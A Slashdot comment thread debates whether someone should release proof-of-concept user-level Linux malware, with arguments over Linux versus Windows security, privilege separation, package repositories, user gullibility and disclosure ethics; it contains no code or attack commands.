      jedidiah you are truly retarded. All the F/OSS cheerleading has damaged your brain. (and possibly, your groin). The library in which the vulnerability exists is important.examples of critical libraries are internet protocol(s) handlers (ftp/http/etc), html parsers, inet services, and the like. Any arbitrary code execution vuln. in these libraries is dangerous because they process external input through which a cracker may send malformed packets/input to exploit the vulnerability... There have been quite a few documented bugs that do allow arbitrary code execution in libraries in all of the above categories on linux. Whats worse is if these libraries are statically linked then the vulnerability exists forever in that application. (till app is recompiled with fixed lib)

      You can't.

      I can.... and I just did... you should stick to talking about what you know best. i.e. nothing.

      All you can do is to make bogus noises about how some buffer overflow bug is equivalent to some Windows malware BRINGING DOWN THE INTERNET.

      haha looks like were continue the retarded logic. malware is no different from any other executable. the effect of malware is irrelevant. the only thing that matters is how an executable is deployed and executed on a pc ... without users permission (i.e. automated.. as you mentioned) . It is possible to exploit aforementioned vulnerabilities (arbitrary code execution) to achieve that on linux or on windows. This is a FACT. Go attend a basic OS security class.. but first, take the logic 101 prerequisite that you badly need.

      Your weak insults do not change this fact. ...and if you want to be accurate: Call me a "Unix cheerleader".

      I call it like I see it. You are an anti-ms troll.

  145. This is ludicrous! by Anonymous Coward · · Score: 0

    Look, unless it was purchased in the last month or so (and I may be too liberal with the timeline since OEM machines can sit on a shelf for months), I don't dare set up a Windows XP machine and connect it directly to the Internet to update the operating system because it will be pwned in about 30 seconds. Part of the problem is Microsoft's dependence on updates over the Internet to fix known vulnerabilities. I know, I know, there are ways around it, but how many apply to the owner of a Dell machine with a recovery disk? No stupid luser involved, no need to download anything, just connect it to the friggin' Internet to update the patches!

    I can (and have) download(ed) the latest image of any of the popular *nix's, do an install and be reasonably certain that the unit will not be pwned when I connect it directly to the Internet.

    Now tell me again how *nix's are as insecure as Windows...

  146. Idiot by Legion303 · · Score: 1

    "If executed by the user"

    We're done here. Next time try a remote exploit requiring no user action. They do exist.

  147. why waste your time on this? by Uzik2 · · Score: 1

    There isn't something all white you could be doing instead? Priorities man! Priorities.

    --
    -- Programming with boost is like building a house with lego. It's a cool but I wouldn't want to live in it
  148. Another huge difference by Tony · · Score: 2, Insightful

    So one of my users accidentally runs your trojan. No problem. I write a script that cleans it up on every machine in my network without interfering with the users at all. It takes me about 5 minutes.

    On MS-Windows, I have to go around to every machine on the network to clean it up. There have been times I've had to re-ghost a machine because it was so infected.

    I'm not sure what this whole apple-to-oranges gedanken is all about. It surely doesn't explain how MS-Windows is just as secure as Linux.

    --
    Microsoft is to software what Budweiser is to beer.
  149. Contradiction in Terms by Anonymous Coward · · Score: 0

    Since the mal in mal-ware stands for malicious, it is logically impossible to release non-malicious malware.

  150. Typical Programmer Thinking by Anonymous Coward · · Score: 0

    This is another example of typical programmer thinking.

    I see a security hole, I'll EXPLOIT it with some "harmless" malware, and teach people a lesson.

    -Are you 100% sure your "harmless" malware will not bring down a critical system?
    -Can you sleep at night knowing you broke several laws?
    -How about if people choose to go after you for damages?

    I know you are just a simple programmer, and have no professional body we can complain or report you to, besides your employer, but you can still be held PERSONALLY liable for damages.

    A real engineer would NEVER EVER think of doing this. "software engineers" on the other hand, have time to think of doing crap like this, because they have no real consequences besides being personally held liable, if they are ever caught.

    Go hide behind your anonymity. Give programmers a black eye from which they may never recover.

    "software engineers" my a55.

  151. evil-hacking is like drug addiction by Anonymous Coward · · Score: 0

    I have a freind who is a chuckle-headed moron. He used to be a drug addict. And now, when he talks about the drugs, he actually describes, in detail, how he abused them so that anyone who hears him will know how to do it and thus become an adict even quicker. And I tell him not to and he goes on with the description because he has a perverse side of his personality. Publishing how to hack and do root kits to 'the world' is much the same. People who do this are looking for approval and/or money.

  152. Opinion by Anonymous Coward · · Score: 0

    No
    Nope
    Uh-uh
    Nut
    Naw
    Nah
    No way
    Na
    Nese
    Nein
    Naaga
    Bu shi zhe yang
    Nanga
    Ndaga'
    Nei
    Nyet

    I think you get the idea.

  153. Re:Release it. by 3vi1 · · Score: 1

    The pwn2own contest isn't a bunch of people hacking different OS's simultaneously: They draw names from a hat to see who goes first. People aren't hacking from scratch at the contest either: most show up with exploits for multiple OS's that they already know to be working.

    Since you get to keep the hardware if you're the first to hack it, OF COURSE EVERYONE CHOOSES TO USE THEIR MAC EXPLOIT FIRST. Vulnerability never even enters into the equation; it's hacked first because people want to win the most expensive and best hardware. Windows immediately falls when the next contestant steps up and can no longer win the Mac hardware.

    Of course... Linux did make it all the way through the pwn2own contest in the past.... but it's impossible to say if that's due to lack of interest or the fact that the browser installed on the machine was one the contestants were unfamiliar with and therefore did not have working exploits.

    Oh yeah... from reading about it, it seems that pwn2own tests browser security, not the OS - and it doesn't take into account whether the hack lets you execute user level code (the Mac exploits) or run as the kernel (many Windows flaws). So, I don't really see it as being of any real use as an OS security benchmark.

  154. What does this prove? by Anonymous Coward · · Score: 0

    I really don't understand what the OP is trying to prove. That running a program as a regular user on will allow that program to have that users priviledges??? Is this meant to be some sort of revelation?

    Note to self, purposely installing malware is not a good idea.

    OP: I'm affraid you have wasted alot of time and proved nothing with this experiment.

  155. Non-Malicious Malware? by Anonymous Coward · · Score: 0

    Isn't the word "malware" formed from the words "malicious" and "software"?

  156. Oxymoron? by DaFallus · · Score: 1

    How can there be such a thing as non-malicious malware when malware is a portmanteau of "malicious software"?

    --
    No one cares what your captcha was

    Houston TX, USA
  157. Attack Vector Bullshit by Anonymous Coward · · Score: 0

    What is all this talk about Attack Vector... All these mysterious ways of getting a linux machine infected.

    Just put some malware rpm on some random chinese/russion/etc server and call it the TurboNvidia.RPM and all a user has to do is click on the damn thing in firefox and install it. They have to click yes to override the signature but I've seen Ubuntu users do much worse.

    1. Re:Attack Vector Bullshit by Anonymous Coward · · Score: 0

      Just put some malware rpm on some random chinese/russion/etc server and call it the TurboNvidia.RPM and all a user has to do is click on the damn thing in firefox and install it. They have to click yes to override the signature but I've seen Ubuntu users do much worse.

      You think Ubuntu users are bad, ( By Default ) those Fedora idiots override the signature the first time they install the rpmfusion RPMs. So I'd say linux users are pretty used to bypassing one of the tenants of linux security... making sure your package signature is trusted.

  158. Yes. by gbutler69 · · Score: 1

    Yes, release it! Security through obscurity isn't. This is needed.

    --
    Over-the-top Response Guy! Giving "Over-the-Top Responses" since 1970.
  159. Re:If you have to ask, your ethical compass is b0r by Duvzo · · Score: 1

    That's like one guy who said "My best friends' girlfriend wants to sleep with me - should I do it so I can show him what a sl*t she is?"

    Yes, she's already sleeping with more than one of your best friends, so go for it!

  160. Re:If you have to ask, your ethical compass is b0r by rwv · · Score: 1

    a lot of us have been in the position of being able to do a lot worse, or been offered $$$ to do a lot worse

    As a Linux user who works as a software engineer, I'd be interested to learn about the vulnerabilities that the exploit uses to take control of a Linux system. I have no formal security background, but understand how to use cron and Makefiles for non-nefarious purposes... so a short paper about these attack vectors would be quite educational. I like knowing how to protect myself and knowing how to explain to other people what is right/wrong so they can protect themselves. Not publishing known risks (especially if they're PEBCAK risks) is security through obscurity and I think Linux is a strong enough platform that it shouldn't be relying on this type of security.

  161. stupid article by Anonymous Coward · · Score: 0

    Linux being made insecure by stupid users. What a shock. Do you really think your code will do anything previous code as not done? truly? Release it already. My systems won't be affected, nor will the majority of Linux users. I say let the noobs get infected by lame code, they will learn from it.

  162. Opening this thread made WinXP crash by rwa2 · · Score: 1

    Ha, Firefox and Explorer stopped responding the first time I opened this thread, so I'm getting a kick, etc.

    Anyway, thanks for reminding me that I need to invest in a bunch of RAM for my home server so I can move most of the services into VMs :P

  163. Nobody reads a manual.. by Anonymous Coward · · Score: 0

    Write a 100-page technical description.

    If someone reads it to exploit it.. .. they probably would even without your help.

  164. Who said Linux is impervious to malware? by Mobius_6 · · Score: 0

    I could knit-pick your grammar, but is this overall claim based in empirical research? Linux certainly has it's flaws and while it's not susceptible to WINDOWS malware, it certainly is to a variety of others. Perhaps take a look at http://insecure.org/ or http://www.packetstormsecurity.org/. Both of these sites maintain lists of exploits to various version of Linux and many other types of GNU software as well. Rootkits most generally fall into the realm of 'malware' and once you've got root, baby, you've got the world.

  165. Just release it already... by mark-t · · Score: 1

    ... then you'll see for yourself exactly how secure linux (and other *X) systems are, in general. Seriously, I don't know why you bothered to even ask... it's obvious that you wanted to, so just do it.

    I'd go so far as to say that I highly doubt that sufficient numbers of people would be adversely affected by it to warrant any sort of legal action against you... at most you might be providing a proof of concept for security experts who can then proceed to adapt to what changes may be necessary to avoid the attack vector in the future.

    Release it, and move on.

  166. OT - your sig by mcgrew · · Score: 1

    "Who's" is a contraction of "who is". It should read "There's one thing stronger than all the armies in the world and that is an idea whose time has come. - Victor Hugo"

    1. Re:OT - your sig by kdemetter · · Score: 1

      Thanks !

  167. Just like everything else... by DrYak · · Score: 1

    It has the bi- prefix.

    Just as a lot of other interesting stuff, all starting with "bi-".

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  168. needs a payoff by Anonymous Coward · · Score: 0

    Arrange for it to steal two cents from each person who installs it, then every month or so deposit half of what it's collected to Torvalds' bank account, and send the other half of the month's take to one lucky infected user.

    People will be begging for the thing.

    PS, who wrote the AI behind the Captcha system? It's really good. The word for this post is:

    "Pyramid"

  169. esx by Anonymous Coward · · Score: 0

    lets all justn have seccxx

  170. seriously, dude... by spidercoz · · Score: 1

    if Linux starts getting as bad as Windows, I will personally hunt you down and beat you to death with Richard Stallman

    --
    "I disapprove of what you say, but I will defend to the death your right to say it." - Evelyn Beatrice Hall, re Voltaire
  171. Indeed Differences by DrYak · · Score: 3, Insightful

    Um, and this is different from a Windows virus how? {...} It's not because your system is any more secure against "CLICK HERE TO WIN FREE XBOX 360" infections.

    Windows XP way :

    • Simply click on some random downloaded .EXE to install it with full adminsitrative right.

    Linux way :

    • First switch to a priviledged account (gksudo, kdesu, etc.)
    • Fire up your distribution package manager (YaST, Synaptic, etc. or zypper, apt-get, etc. for command line lovers)
    • Look for desired package in list available from default repository
    • Eventually add a new repository if the default one doesn't feature the software you want.

    In short there are 2 main differences between the windows and unices environment :

    • Access rights:
      • in windows everyone, including the cat running across the keyboard have full admin privileges.
      • in linux, mac os X and other unices, users (and cats) have only user-level access and must switch to some other access account to gain further privilege.
    • Install habits
      • in windows 99% of the software is downloaded and installed from random location on the web. That means that the average user is used to download and install random crap.
      • in linux 99% of the sofrware comes from official repositories which have been veted to contain only legitimate software. Users have to go through additional steps to get access to crap. And most user won't bother because it works for them 99% of the time without having to resort to.

    There's another big difference, specific to opensource environment like Linux and BSD (and not other unices):

    • There only exist one single Windows : The windows sold by Microsoft. If some malware works on the black-hat's test PC, it will probably work
    • There are countless different distributions of distribution each with subtly different versions of key components. Some malware targetting bug #263748 on kernel 2.6.30-patch52 of Ubuntora 3.1415 won't necessarily work on other distribution.

    (Although the above only regards malwares exploiting *bugs*, not payload which are simple regular softwares).

    With Vista and Seven, Microsoft has attempted to fix some of these problems. Nonetheless, the fix is still a lot noisy ("Cancel or Allow ?") to the point that some user simply start to blindly "Yes-click-through" and the protecting effect is lost. And users are still trained to install crap by downloading it from random websites.

    With Linux, these advantages become a handicap regarding commercial softwares : They have to target multiple combination of softwares in distributions (unlike open-source software where the package are vetted by the distribution maintainers themselves thanks to the source being available for that puprose). And these software are not just a package in a regular repository, making them inaccessible using the regular method.

    There is indeed no software which is 100% guaranteed secure.
    But ! There's still a difference like between putting a real fence around your house and having a dog on one side, and just stick a paper with "don't rob us" written on it on the other side.

    And, no matter what, some users will always find a way to shoot themselves in foot.
    But on Unix, the gun is locked behind a glass door and must have a security pin removed before being able to shoot the foot, whereas on Windows an armed ready-shoot-gun is just a normal wall decoration.

    The only "protection" that *nix/mac systems have over Windows is that no one gives a rats ass about infecting you

    Ok, could we please stop with this troll now ?

    At one side of the range, Linux has ratter good market shares in the servers and scientific clusters domains.
    At the other side of the range, Linux has achieved quasi-monopoly in the embed domain, specially on home routers, wireless access points, small NAS/SAN, no-brand multimedia play

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
    1. Re:Indeed Differences by GameboyRMH · · Score: 1

      To be fair, .deb packages are even quicker and more convenient than .msi installers. You just need admin privileges to run them - hardly more of a speedbump than a UAC prompt if you're running a distro with gksudo/kdesu. Only AppArmor/SELinux might save you from something like that (Windows could really use something like AppArmor).

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    2. Re:Indeed Differences by IshmaelDS · · Score: 0

      The only "protection" that *nix/mac systems have over Windows is that no one gives a rats ass about infecting you

      Ok, could we please stop with this troll now ?

      At one side of the range, Linux has ratter good market shares in the servers and scientific clusters domains. At the other side of the range, Linux has achieved quasi-monopoly in the embed domain, specially on home routers, wireless access points, small NAS/SAN, no-brand multimedia player/harddisk-enclosures, etc.

      That's a lot of Linux running machines. The later are always connected to network, the former have even access to high-speed connections. This should make them more desirable to be infected isn't it ? Yet, there has not been an outbreak similar to Code Red on Linux. Simply because the default security settings, and the heterogeneity of distributions making it a hard to read moving target.

      There are a lot of reasons while blackhats would be interested in attacking Linux, but despite this Windows is still the low-hanging fruit.

      Okay I agree with you in principle, there are a lot of *nix devices out there, but the ones you are highlighting are the ones that are most likely to not get infected no matter what OS they are running. The server/scientific clusters are going to be run by knowledgeable people that are able to secure their servers. The embedded devices are generally built to only accept software by either the device maker (i.e. home router firmware) or built specifically for them and vetted by a either the device creator (i.e. Iphone) or less then likely to be installed by any average user (i.e. putting Linux on a home router) The kind of person that is going to get malware on their *nix box is the same kind of person that get's their windows machines infected. They click okay on anything/everything and (for instance) the ubuntu security box that pop's up and asks for a password is going to be no more of a deterrent then the vista/win7 security box is going to be. The problem with it as well is that as distrib's like Ubuntu try to get more of the market share of the average user they will make a few more concessions and the number of "tips" that tell people to run apt-get and download this, run this etc will increase and it will be that much easier to have people that don't know better installing malware.

      --
      letting an idiot know they are an idiot is not a game... it's a responsibility. - by Kristopeit, M. D. (1892582)
    3. Re:Indeed Differences by jgrahn · · Score: 1

      To be fair, .deb packages are even quicker and more convenient than .msi installers. You just need admin privileges to run them - hardly more of a speedbump than a UAC prompt if you're running a distro with gksudo/kdesu.

      I have no idea what gksudo/kdesu is ... but who is stupid enough to download Debian packages from random places? If I see software that seems nice, but it's not already in the Debian archive (or at least in unstable), I immediately wonder what's wrong with it.

      But I agree -- if Linux users start to act like Windows users, we are truly in deep shit.

    4. Re:Indeed Differences by GameboyRMH · · Score: 1

      A lot of popular closed-source apps like Skype and Flash are available as .deb packages, and if someone is used to downloading .exe and .msi files from random places it's no big leap to do the same with a .deb.

      gksudo and kdesu are systems that pop up secure graphical sudo prompts. Distros that use them like Ubuntu are preconfigured to use gksudo (or kdesu with kubuntu) to run administrative gui apps like the partition manager and user manager, which is super convenient.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    5. Re:Indeed Differences by Anonymous Coward · · Score: 0

      Access rights:
      in windows everyone, including the cat running across the keyboard have full admin privileges.
      in linux, mac os X and other unices, users (and cats) have only user-level access and must switch to some other access account to gain further privilege.

      This is not entirely true of windows but what is true is Microsofts stupidity and having the user account created during setup defaulting to this state. On both systems it is simply a lake of the user careing to secure there system

    6. Re:Indeed Differences by Anonymous Coward · · Score: 0

      "Windows XP way :

      Simply click on some random downloaded .EXE to install it with full adminsitrative right."

      Uhh but in Windows you can create an account with no full adminsitrative rights.... DON'T YOU KNOW THAT? OR ARE YOU JUST A TROLL? OR JUST A DUMBFUCK?

    7. Re:Indeed Differences by Jake+Griffin · · Score: 1

      Except that is not the default. Someone stupid enough to run some EXE they found on the internet is probably too stupid to realize they should set up an account without admin rights. And I would argue that a vast majority of people who don't work with computers for a living (and even many who do) would fall into this category.

      --
      SIG FAULT: Post index out of bounds.
  172. Re:If you have to ask, your ethical compass is b0r by mocoloco · · Score: 1

    So you want to do away with Ask Slashdot? It's a moral dilemma, he's got the potential to do great good but it just as easily might enable those who would use it for evil. Asking peers for opinions or insight doesn't mean he wants to blame others. There might be things he hasn't though of, or a better way to accomplish things. It's just a smart thing to do.

    "Dr. is this the correct incision point, or will cutting here kill the patient?"
    "If you have to ask, your ethical compass is b0rked. Dumb@ss n00b!"

    Can we mod parent up?

  173. The Real Reason... by interploy · · Score: 1

    The real reason Linux is malware-free can be summed up in a simple analogy: "You don't let your dog shit in your own front yard." It's no question the preferred box for hackers is a *nix box. Why sully their own yard when there are so many Windows and Mac homes out there with yards perfectly ripe for a fresh Cleavland Steamer?

    Like parent says, it's stupid to think of Linux as uncrackable. If there's a port into the system then there's a potential exploit; it doesn't matter what the box is running. It's far more likely that malware hackers just like to have a clean lawn. Leave that shit for some other guy to clean up.

  174. Don't bother releasing by Anonymous Coward · · Score: 0

    You are obviously thinking more about this than I ever did. Don't worry about it. This sort of stuff has existed since before Thompson wrote a backdoor into the c compiler.

    I wrote some similar stuff some years ago, as an exercise. I didn't release anything because I figured everything I did was obvious or trivial. Anyone that wanted to use something like this could have written it themselves.

    I didn't think of the Wine angle, that's neat. Of course, I've never used Wine, so perhaps I'm excused. ;-)

  175. Don't involve BOINC, please by Wormholio · · Score: 1

    Please don't associate BOINC with you little project. It will confuse the casual reader into thinking it is something bad rather than something good.

    --
    "Education is not the filling of a pail, but the lighting of a fire." -- William Butler Yeats
  176. Research paper by narooze · · Score: 2, Insightful

    Why should this be any different from what research scientists do all the time (with actual security holes to boot)? Just write up a research paper (or a blog post or whatever) and describe the problem and give some thoughts to possible solutions (user not being mindless idiots anymore) and release it. There is definitely nothing ethically wrong with it in my book (and there shouldn't be in anyone else's either).

  177. ATTENTION LINUX NOOBS by GameboyRMH · · Score: 1

    Please stick to Jaunty for now. DO NOT try to install Karmic yourself.

    --
    "When information is power, privacy is freedom" - Jah-Wren Ryel
  178. Release it. This is old hat. by gfolkert · · Score: 2, Interesting

    I'm sorry, but running userland "daemons" is child's play. This has been around for EONs. Please don't think you have something new here.

    You problem here is that, you idea will only affect the *USER* environment, not the machine. Anything you run or install into the user environment will be bound by the standard user accounts everyone should be running as, without privileges (such as root/super user)

    This separate the privileges from the user and the system quite well and delineates it.

    Lets compare Windows and *NIX (in general):

    Windows, I can send you and e-mail and you standard user just looks at my e-mail and via ActiveX can leverage a 10 year old exploit to install a service as a *SYSTEM ACCOUNT*. This means my process then has full access to the system... Possibly being able to wipe out the machine period, or use it for a launching pad to send out e-mails to other accounts on the system or other account in any address book or just grab your passwords (probably being abcd1234 or password or or what have you (Think Sarah Palin's Yahoo account... wooo really good password there)) for your Bank account. Its very much *THAT* simple, no stupidity involved.

    Now, if for some reason ActiveX is disabled, I can just tell you how important the Microsoft update is and it needs to be run... and how you *MUST* forward it to your friends so they can be safe... Sheeple are gullible and will never be safe from this stupidity.

    Now speaking of stupidity, its really the only way Linux/*NIX/*BSDs will be compromised... even then most likely only the *user's* data will be flogged. Not the whole system. Now, let us just say *I* download and run your program/update/shell/python script/perl script/etc... Sure it downloads and installs the BOINC daemon and runs in the background... to be honest who cares. Any program you run or have running to capture data from the user will only affect the *USER* not the whole system. Separation of privileges is pure and simple why the *NIX systems will not seriously fall prey to these kinds of things. And to be honest, unless you install a persistent AT job for the BOINC daemon to start or at the very least a cronjob that runs every minute... a reboot will kill your pitiful attempt.

    --
    greg, REMEMBER ED CURRY!!!
  179. Help, do not destroy by Art3x · · Score: 2, Insightful

    A father used to rationalize why he was so mean to his son by saying, "I'm getting him ready for the world, because it is mean." By that rationale, the best thing would be to simply dump the child out on the streets.

    If you see flawed code, submit a patch.

    If you see flawed usage, educate users (documentation, blog article, forum posts).

  180. You work for Who? by Anonymous Coward · · Score: 0

    And you have nothing better to do then break things and show other how to make a mess.

  181. Don't discount conditioning! by jonaskoelker · · Score: 1

    My son's system got hacked that way [backwards "..."] "Here download this program, run it, ignore any warnings, choose 'allow' for every UAC prompt, and then it will give me remote control of your system so I can 'fix' it for you." [...] I was busy in the other room [...] Teenagers, seesh, looking for the quick fix, but adults are just as dumb and fall for the same thing as there are so many helpful strangers on the Internet

    The problem, as I see it (and it's only a guess, but hear me out), is one of conditioning.

    Windows (I've used 95, 98, XP) tends to warn about pretty harmless stuff. "Are you sure? Only click yes if you want me to do what you just asked me to." Or "Warning: [weird undecipherable sentence about cryptography that will take those who know about crypto a good 15 minutes of research to answer the right way with a modest success rate]. Yes or no?" And clicking "Yes" always works. "Warning: running this program might have side effects (as opposed to just spending its cycles making your CPU hotter). Run it?"

    A lot of repeated trials of this ought to condition users to take warnings with a grain (well, bucket) of salt. Add on top of this all the experiences where they copy-paste the error message into google, find a forum post which fixes their problem, or ask someone on IRC and they provide the solution, and people will learn to trust strangers on the internet (because said trust is most often warranted).

    Ask yourself how you solve technical problems with your boxes. Do you research everything yourself? Or do you use google/IRC/...?

    I don't know exactly how the situation looked through the eyes of said teenagers. Did it really explicitly say "let me take control of your computer"? By your own statement, you were away when it happened. Did you go back and look afterwards?

    Most of the things you find on the net is the good stuff. Windows conditions users into not taking warnings as a serious sign of (potential) danger. Is doing what your environment tells you is the right thing called "looking for the quick fix" these days?

  182. Re:Release it. by Anonymous Coward · · Score: 0

    Wrong. The Macs are hacked first because they come with QuickTime Player, which is a bug-ridden piece of shit that Apple refuses to maintain properly.

    If you have quicktime on your box, someone out there can own you, simple as that.

  183. How about full disclosure? by jonaskoelker · · Score: 1

    then show this code to whomever it will help actually fix those holes but try not to release it to the public at large

    I'm sorry to bring up an argument that everyone has already heard (or work out on their own), but I think it warrants a saying (yet again):

    How about also releasing information about workarounds to the countless systems administrators who are in a position to deploy that workaround? (Good luck on doing that while not releasing information to the general public)

  184. Erm, why not... ? by jonaskoelker · · Score: 1

    I'd bet half of the people who mock windows users for downloading and installing untrusted software would download this, type in their root password, and let it install.

    Why wouldn't they compile it with --prefix=~/local/ instead? That way, you know where you install all your shi^Wsoftware...

  185. Re:If you have to ask, your ethical compass is b0r by Myopic · · Score: 1

    I would certainly say so. I would say that the moral behavior "emerges" from the crowd, the same way your consciousness "emerges" from the neurons in your brain, even though no individual neuron is conscious. Democracy is premised on a similar idea.

  186. Release it by Anonymous Coward · · Score: 0

    I don't think it matters what I write here... you will release it.

  187. Non-malicious Malware?? by thelonious · · Score: 1, Interesting

    Doesn't that just make it 'ware'?

  188. I was fed up with the general consensus that Linux by Anonymous Coward · · Score: 0

    so I wrote some code and spread the s**t from the windows world to the other worlds just to point out that I in fact hate lunix people for being cool.

  189. Re:If you have to ask, your ethical compass is b0r by tomhudson · · Score: 1

    So you want to do away with Ask Slashdot?

    In too many cases, the questions are along the lines of "I don't feel like doing my homework" or stuff like that. Or questions that could have been answered with the first search result from the text of the question itself. Or they're really slashvertisements. That's why many of these go off-topic; once 20 people have posted "justfuckinggoogleforit", ther's not much more on-topic.

    In this case, the poster was either looking for absolution or wanted to brag a bit.

    Now, as to doing away with "Ask Slashdot" - why not Ask Slashdot?

    Personally, I have no problem with it, but then again, I have no problem with idle.slashdot.org either, so you can be excused for thinking I might be slightly brain-damaged.

  190. Re:Release it. by Anonymous Coward · · Score: 0

    If you're referring to the article from a couple of weeks ago (by the "the Windows 7 UAC was tested against 10 newest mallware and almost all went totally trought from it, without giving anykind UAC question" line), none of the 'mallware' in question that passed through required administrator privileges for anything in the first place, and UAC wouldn't have triggered for it under Vista or the highest settings in 7.

    Do you even know what UAC is for?

  191. Simply put by Anonymous Coward · · Score: 0

    If you have to ask the community if it's ethically appropriate for you to release this code probably means that you shouldn't.
    The fact that you don't know for yourself and you have to ask the community tells me that you probably shouldn't have the skillset you do, for you could potentially use your knowledge for nefarious purposes.

  192. Private release by Anonymous Coward · · Score: 0

    Contact the security arm of all major distributions as well as senior Linux devs. Be willing to submit the code to those specified vendors so they can start to take action. Then write it up but do not release any code (work with the vendors to identify when appropriate advisories will be released).

    Someone else will take your work (paper) and develop something evil, so giving vendors time to respond prior to release is important.

    Even your posting on slashdot will now have evil doings scrambling to figure out what you did for their own purposes.

    Great work! This has a potential to steup up the security stance of the standard Linux systems as released by vendors.

    Good luck.

  193. OP is BSing us by awpoopy · · Score: 1

    Release it. It's not malware in the way that windows malware gets spread. My Linux and FreeBSD boxes ARE more secure than your windows boxes.
    If it can't be installed without user interaction, it's useless here on /.
    Me thinks it's a hoax and flamebait.

    --
    I say things which affects my Karma negatively. (and I don't care) For instance; All religion is false.
  194. Re:If you have to ask, your ethical compass is b0r by Anonymous Coward · · Score: 0

    Good and evil.

    Both fine choices, whatever floats your boat.

  195. Talk to The NSA by Anonymous Coward · · Score: 0

    If you've got a good package, present it to the NSA. They'll DEFINITELY want to hear about it. Possibly a consultancy.

  196. Re:Release it. by Anonymous Coward · · Score: 0

    So what does it mean when there's a contest about hacking into Mac, Windows, & Linux... and Mac gets taken out first? http://www.pcpro.co.uk/news/249768/safari-falls-in-10-seconds-at-hacking-contest No marketshare to worry about in that contest, just PWN 2 OWN.

  197. Your should get a life by Anonymous Coward · · Score: 0

    The problem with all weapons, is idiots like you who were bored and had no other avenue of displaying their talents. Give you kudos for comming out and talking about it, but seriously, get a life.

  198. Secunia or CERT by Anonymous Coward · · Score: 0

    Send it over to Secunia and CERT. They know who it needs to get to, and know how to release it properly. And, to boot, you get the credit for it.

    It's a fucking no-brainer here. And if you are really a _________hat, you would have already known to do this. I think you don't have any code, just a possible attack vector. Either way, send it over to them, they release it after coming up with code (If your's is broken) after a week or two after notifying the vendor. And you get credit for discovering it.

    You'll only get sued if you do it the wrong way: ie attaching your name to it and releasing it to the wild.

  199. Linux users believe it because their machines... by Anonymous Coward · · Score: 0

    ... still work and their friends with windows, well, don't.

  200. No big deal by ebvwfbw · · Score: 1
    Yea, sure you may be able to get a user or two. Maybe. Even then just boot of of CD, fix it and your owning the system is a thing of the past. I'd have the machine back in business in at most an hour. Own me on Windows and I'm screwed. Which one of the hundreds of thousands registry items did you change/add/delete? Which Fu*** windows CD goes to this machine? If I reinstall I have to reinstall ALL of the software packages I had, deal with getting windows re-registered AGAIN, the package X AGAIN, package Y AGAIN and they think you are pirating their software. Then there are things like the partition program purchased online, Codecs purchased online... good luck with that. Last time my windows box was compromised by my Daughter visiting a site, it took me a month to get it back. A MONTH! Every data file had to be verified, it was a major PIA. With windows I can be owned by simply visiting a web site, leaving outlook open, blowing on it it seems. Linux/Unix has real security. I also have things backed up multiple times. If someone calls me to help fix their windows machine, it's a major undertaking.

    So go ahead, release the code, I'm not worried. He might even infect 100 machines! Woop de do. If I put the same effort into a windows virus, I could probably own millions in just a matter of days. I don't need a proof of concept, there are plenty of real world examples. Most machines STILL run as admin in the windows world.

  201. Re:What shall we do tonight Brain? by Anonymous Coward · · Score: 0

    Sigh, that would have been an excellent plot: using Linux malware to take over the world.

  202. BOINC License agreement by Anonymous Coward · · Score: 0

    The BOINC license agreement states that you will only install BOINC on machines for which you have the premission of the owner of the machine.

  203. mahahaha! by Anonymous Coward · · Score: 0

    i run Debian GNU/Linux with stumpwm and sawfish as main "desktops". there is no sudo on my box and just one sources.list entry of an official secondary mirror in my hometown (i know the admin personally). i download just from the main repository (vrms gives null results i.e. i get just trusted high quality software). i got iptables, ebtables, rkhunter, tiger , chkrootkit, unhide, ossec-rootcheck, tripwire, custom hosts file, hosts.allow, all unnessecary tty's disabled, just one port open for lsh (which only allows gpg authenticated connections into a underprivileged dummy account), my main browser is w3m via surfraw, got my own dns server, web proxy, the only udp port open is the one for dhcp and my router got it's own firewall, bla bla bla bla bla... you think you can put something in my bashrc? o.k. try it. if you succeed i send you back a nice present! but don't cry when your windoof box breaks you little wannabe script kiddy! i guess you couldn't even crack the bashrc on my HURD system if i gave you an account on it...^_^

  204. Re:Release it. by Jake+Griffin · · Score: 1

    Well your mod just went away when you replied to that comment. Thanks. ;)

    --
    SIG FAULT: Post index out of bounds.
  205. Well... by DaVince21 · · Score: 1

    If you're so afraid, release it, but don't open-source it. Though since you have made this already anyway, people are going to make their own malware eventually.

    --
    I am not devoid of humor.
  206. Malware by SolarFlea · · Score: 1

    Just send it to me. I'll keep it safe.

  207. BReaks the model by DrYak · · Score: 1

    A lot of popular closed-source apps like Skype and Flash are available as .deb packages, and if someone is used to downloading .exe and .msi files from random places it's no big leap to do the same with a .deb.

    And this is really bad, because it breaks the whole "use one single - or a reduced number - of trusted sources" security principle behind Linux distribution.

    Thankfully, some of these software come with a license which allow them to be repackaged by distributors (often the case with Flash).

    Sometime, the distributor try to mitigate the problem by providing a 'fetcher' package - which doesn't repack the proprietary software but attempts to retrieve a known-good version from a known-good source (Microsoft's Core-Font are often programmatically downloaded that way). But none the less this makes the user more relying on external sources.

    Nonetheless, proprietary close-source applications like Skype pose security threats by themselves, lacking the amount of eyeballs as stated in ESR's "Linus law".

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  208. To the guy who made this malware: by Anonymous Coward · · Score: 0

    GO TO HELL!!!! If you release this malware, you will soon see truly malicious viruses for linux. Linux is more secure than windows, but not as much as some users like to think. If you release this or already did, may you be Bill's towel boy in hellfor eternity, and may Steve Ballmer shove a Pineapple up your @$$.

  209. Re:Release it. by MATEDATLAST · · Score: 1

    How are Windows Vista and Windows 7 better than XP, in screening out the malware? How is MacIntosh better? I will buy a new computer soon. I really need to know!

  210. Refactor it? by Anonymous Coward · · Score: 0

    Perhaps you could refactor it as an analysis tool? It could still be malware-ish, inserting itself into cron and wherever, but regularly checking for the original openings, and suggesting ways to close the gaps.

  211. What's this? by Anonymous Coward · · Score: 0

    Someone just vomited on my monitor??!?

    Oh, no, it's just the Karmic colour scheme! ;)

  212. Extradition by Valdrax · · Score: 1

    If it is the same Johannes Buchner that I found through Google, then he lives in Austria, so that specific law doesn't apply to him.

    You make a good point that US law shouldn't necessarily be his first worry, but even if his own country doesn't have a similar law against making malware, then there's always the possibility of extradition.

